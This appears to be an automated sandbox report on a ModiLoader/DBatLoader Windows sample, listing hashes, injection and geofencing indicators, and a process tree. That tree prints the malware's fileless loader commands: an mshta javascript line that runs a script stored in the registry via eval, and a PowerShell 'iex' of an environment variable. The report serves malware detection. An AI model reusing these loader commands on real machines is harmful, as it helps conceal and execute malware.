Analysis
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max time kernel
142s -
max time network
127s -
platform
windows10-2004_x64 -
resource
win10v2004-20240611-en -
resource tags
arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system -
submitted
17-06-2024 10:14
Static task
static1
Behavioral task
behavioral1
Sample
b816369b655826e66fde3618f30a545c_JaffaCakes118.exe
Resource
win7-20240220-en
Behavioral task
behavioral2
Sample
b816369b655826e66fde3618f30a545c_JaffaCakes118.exe
Resource
win10v2004-20240611-en
General
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Target
b816369b655826e66fde3618f30a545c_JaffaCakes118.exe
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Size
277KB
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MD5
b816369b655826e66fde3618f30a545c
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SHA1
47cb7037339f019b345c85accdbf3c28f9aaaeee
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SHA256
57aaffcdd21b962bcf1c34c032f69c1ec1c680c23d1816688dc7dbe1175b5702
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SHA512
a277a2d8c95c4205d021c4459666831054a39ddd08f4614bbb13ee9ebb52f45f6f7a632344894777e692aeff55b06e1d1cdbe7280928413c09de73dcf43737c2
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SSDEEP
3072:ocWRylkb9JD4R0lYZAI3rr1GvRkIG+Y+fDm07pID6XuNL5SfSwyOipMsEZr:oc4yu9JCEYZpYJJGV+bu6uNLxFRc
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 776 4176 mshta.exe -
ModiLoader Second Stage 10 IoCs
Processes:
resource yara_rule behavioral2/memory/552-4-0x0000000000400000-0x0000000000439000-memory.dmp modiloader_stage2 behavioral2/memory/552-2-0x0000000000400000-0x0000000000439000-memory.dmp modiloader_stage2 behavioral2/memory/552-5-0x0000000000400000-0x0000000000439000-memory.dmp modiloader_stage2 behavioral2/memory/552-6-0x00000000009A0000-0x0000000000A74000-memory.dmp modiloader_stage2 behavioral2/memory/552-8-0x00000000009A0000-0x0000000000A74000-memory.dmp modiloader_stage2 behavioral2/memory/552-10-0x00000000009A0000-0x0000000000A74000-memory.dmp modiloader_stage2 behavioral2/memory/552-9-0x00000000009A0000-0x0000000000A74000-memory.dmp modiloader_stage2 behavioral2/memory/552-7-0x00000000009A0000-0x0000000000A74000-memory.dmp modiloader_stage2 behavioral2/memory/552-11-0x00000000009A0000-0x0000000000A74000-memory.dmp modiloader_stage2 behavioral2/memory/552-12-0x00000000009A0000-0x0000000000A74000-memory.dmp modiloader_stage2 -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Control Panel\International\Geo\Nation mshta.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
b816369b655826e66fde3618f30a545c_JaffaCakes118.exedescription pid process target process PID 2728 set thread context of 552 2728 b816369b655826e66fde3618f30a545c_JaffaCakes118.exe b816369b655826e66fde3618f30a545c_JaffaCakes118.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 1796 powershell.exe 1796 powershell.exe 1796 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1796 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
b816369b655826e66fde3618f30a545c_JaffaCakes118.exepid process 2728 b816369b655826e66fde3618f30a545c_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 13 IoCs
Processes:
b816369b655826e66fde3618f30a545c_JaffaCakes118.exemshta.exedescription pid process target process PID 2728 wrote to memory of 552 2728 b816369b655826e66fde3618f30a545c_JaffaCakes118.exe b816369b655826e66fde3618f30a545c_JaffaCakes118.exe PID 2728 wrote to memory of 552 2728 b816369b655826e66fde3618f30a545c_JaffaCakes118.exe b816369b655826e66fde3618f30a545c_JaffaCakes118.exe PID 2728 wrote to memory of 552 2728 b816369b655826e66fde3618f30a545c_JaffaCakes118.exe b816369b655826e66fde3618f30a545c_JaffaCakes118.exe PID 2728 wrote to memory of 552 2728 b816369b655826e66fde3618f30a545c_JaffaCakes118.exe b816369b655826e66fde3618f30a545c_JaffaCakes118.exe PID 2728 wrote to memory of 552 2728 b816369b655826e66fde3618f30a545c_JaffaCakes118.exe b816369b655826e66fde3618f30a545c_JaffaCakes118.exe PID 2728 wrote to memory of 552 2728 b816369b655826e66fde3618f30a545c_JaffaCakes118.exe b816369b655826e66fde3618f30a545c_JaffaCakes118.exe PID 2728 wrote to memory of 552 2728 b816369b655826e66fde3618f30a545c_JaffaCakes118.exe b816369b655826e66fde3618f30a545c_JaffaCakes118.exe PID 2728 wrote to memory of 552 2728 b816369b655826e66fde3618f30a545c_JaffaCakes118.exe b816369b655826e66fde3618f30a545c_JaffaCakes118.exe PID 2728 wrote to memory of 552 2728 b816369b655826e66fde3618f30a545c_JaffaCakes118.exe b816369b655826e66fde3618f30a545c_JaffaCakes118.exe PID 2728 wrote to memory of 552 2728 b816369b655826e66fde3618f30a545c_JaffaCakes118.exe b816369b655826e66fde3618f30a545c_JaffaCakes118.exe PID 776 wrote to memory of 1796 776 mshta.exe powershell.exe PID 776 wrote to memory of 1796 776 mshta.exe powershell.exe PID 776 wrote to memory of 1796 776 mshta.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe"2⤵
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C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" javascript:c5IxxgTgy0="LzcJl";kv4=new%20ActiveXObject("WScript.Shell");WhLUqXCB4="ta";wc9YT=kv4.RegRead("HKLM\\software\\Wow6432Node\\INU9SKJ7i1\\at8STe");oikfRI4="I9JfX";eval(wc9YT);IFmcv4E2Io="p";1⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:peri2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4312,i,3833046924978547022,12404847742964713612,262144 --variations-seed-version --mojo-platform-channel-handle=4244 /prefetch:81⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4yd2ae3a.kjs.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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memory/552-10-0x00000000009A0000-0x0000000000A74000-memory.dmpFilesize
848KB
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memory/552-11-0x00000000009A0000-0x0000000000A74000-memory.dmpFilesize
848KB
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memory/552-6-0x00000000009A0000-0x0000000000A74000-memory.dmpFilesize
848KB
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memory/552-8-0x00000000009A0000-0x0000000000A74000-memory.dmpFilesize
848KB
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memory/552-4-0x0000000000400000-0x0000000000439000-memory.dmpFilesize
228KB
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memory/552-9-0x00000000009A0000-0x0000000000A74000-memory.dmpFilesize
848KB
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memory/552-7-0x00000000009A0000-0x0000000000A74000-memory.dmpFilesize
848KB
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memory/552-12-0x00000000009A0000-0x0000000000A74000-memory.dmpFilesize
848KB
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memory/552-2-0x0000000000400000-0x0000000000439000-memory.dmpFilesize
228KB
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memory/552-5-0x0000000000400000-0x0000000000439000-memory.dmpFilesize
228KB
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memory/1796-30-0x0000000006680000-0x00000000066CC000-memory.dmpFilesize
304KB
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memory/1796-16-0x0000000005890000-0x00000000058B2000-memory.dmpFilesize
136KB
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memory/1796-17-0x0000000005930000-0x0000000005996000-memory.dmpFilesize
408KB
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memory/1796-18-0x0000000006110000-0x0000000006176000-memory.dmpFilesize
408KB
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memory/1796-32-0x0000000006B50000-0x0000000006B6A000-memory.dmpFilesize
104KB
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memory/1796-28-0x0000000006180000-0x00000000064D4000-memory.dmpFilesize
3.3MB
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memory/1796-29-0x0000000006630000-0x000000000664E000-memory.dmpFilesize
120KB
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memory/1796-14-0x0000000002F50000-0x0000000002F86000-memory.dmpFilesize
216KB
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memory/1796-31-0x0000000007E90000-0x000000000850A000-memory.dmpFilesize
6.5MB
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memory/1796-15-0x0000000005A70000-0x0000000006098000-memory.dmpFilesize
6.2MB